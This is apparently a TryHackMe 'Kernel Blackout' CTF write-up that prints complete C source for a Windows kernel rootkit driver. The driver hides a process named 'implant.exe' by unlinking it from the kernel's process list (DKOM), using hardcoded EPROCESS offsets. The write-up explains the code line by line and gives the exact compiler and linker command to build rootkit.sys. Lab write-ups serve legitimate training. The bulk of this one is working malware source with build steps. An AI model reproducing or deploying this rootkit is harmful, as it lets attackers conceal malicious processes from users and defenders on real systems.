TryHackMe - Kernel Blackout CFT
1. Script Explanation (rootkit.c)
Script :
#include <ntddk.h>
// Offsets for Windows 10 x64 (Version 19041 - THM Lab) #define LINKS_OFFSET 0x2e8 // ActiveProcessLinks #define NAME_OFFSET 0x450 // ImageFileName
void DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Driver Unloaded. Note: Hidden processes remain hidden!\n"); }
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);
// Start iterating from the System process
PEPROCESS CurrentProcess = PsInitialSystemProcess;
PLIST_ENTRY CurrentListEntry;
char* imageName;
BOOLEAN found = FALSE;
DbgPrint("Searching for implant.exe to hide it...\n");
// Loop through the process list (limit to 1000 to avoid hangs)
for (int i = 0; i < 1000; i++) {
imageName = (char*)CurrentProcess + NAME_OFFSET;
// Check if this is our target process
if (strstr(imageName, "implant.exe")) {
DbgPrint("Found target: %s. Unlinking now...\n", imageName);
// Get the list entry for the current process
CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);
// DKOM: Remove the process from the list by pointing
// the neighbors' links to each other, skipping the current one.
CurrentListEntry->Blink->Flink = CurrentListEntry->Flink;
CurrentListEntry->Flink->Blink = CurrentListEntry->Blink;
// Point the hidden process's links to itself
// to prevent system crashes during cleanup.
CurrentListEntry->Flink = CurrentListEntry;
CurrentListEntry->Blink = CurrentListEntry;
found = TRUE;
DbgPrint("Process implant.exe is now hidden from Task Manager.\n");
break;
}
// Move to the next EPROCESS structure in the list
CurrentListEntry = (PLIST_ENTRY)((char*)CurrentProcess + LINKS_OFFSET);
CurrentProcess = (PEPROCESS)((char*)CurrentListEntry->Flink - LINKS_OFFSET);
// If we wrapped around back to System, stop
if (CurrentProcess == PsInitialSystemProcess) break;
}
if (!found) {
DbgPrint("Could not find implant.exe. Is it running?\n");
}
return STATUS_SUCCESS;
}
The goal of this script is DKOM (Direct Kernel Object Manipulation). It finds a specific process in the kernel's memory and "unlinks" it from the list that Windows uses to display running programs.
The Headers and Offsets
#include <ntddk.h>: This is the "Windows Driver Kit" header. It contains all the definitions and functions needed to talk to the Windows Kernel.LINKS_OFFSET (0x2e8): In Windows, every process is represented by a structure calledEPROCESS. This offset is the exact location inside that structure where the ActiveProcessLinks are stored. These links are pointers to the Next and Previous processes.NAME_OFFSET (0x450): This is the location insideEPROCESSwhere the process name (likeimplant.exe) is stored as a string.
The Functions
DriverUnload: This allows you to stop the driver. Without this, the driver stays in the kernel until you restart the computer.DriverEntry: This is the "Main" function for drivers. It runs the moment the driver is loaded.
The Logic (The Loop)
Starting Point: It starts at
PsInitialSystemProcess, which is always the "System" process (PID 4).The Search: It loops through the list of processes one by one.
The Match: It checks the name at
NAME_OFFSET. We usestrstrto see if "implant.exe" is part of that name.The "Unlinking" (The Trick):
In a doubly-linked list, Process A points to B, and B points to C.
To hide Process B, we tell A to point directly to C, and C to point directly to A.
CurrentListEntry->Blink->Flink = CurrentListEntry->Flink;(Previous process now points to the next one).CurrentListEntry->Flink->Blink = CurrentListEntry->Blink;(Next process now points to the previous one).
Safety: We point the hidden process's links to itself. This prevents the system from crashing if it ever tries to look at that specific process's pointers.
2. Command Line Explanation
The command you run in the x64 Native Tools Command Prompt is quite long because it needs to tell the compiler exactly how to build a "Kernel-Mode" file instead of a normal "User-Mode" .exe.
The Command:
cl /W4 /D_AMD64_ /D_WIN64 /D_KERNEL_MODE rootkit.c /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\km" /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared" /link /driver /entry:DriverEntry /subsystem:native /out:rootkit.sys "C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\km\x64\ntoskrnl.lib"
Breakdown of Flags:
cl: The Microsoft C/C++ Compiler./W4: Sets the warning level to high (good for catching errors)./D_AMD64_ /D_WIN64: Tells the compiler we are building for a 64-bit system./D_KERNEL_MODE: Tells the compiler this code will run inside the Kernel./I[...]: "Include" paths. This tells the compiler where to find the header files (ntddk.h)./link: Passes the following arguments to the Linker (the tool that packages the code)./driver: Tells the linker to create a.sysdriver file./entry:DriverEntry: Defines the starting point of the driver (ourDriverEntryfunction)./subsystem:native: Drivers don't use Windows UI; they are "native" to the kernel./out:rootkit.sys: The name of the final file.ntoskrnl.lib: This is the library that contains the actual code for kernel functions likePsInitialSystemProcess.

Comments
Post a Comment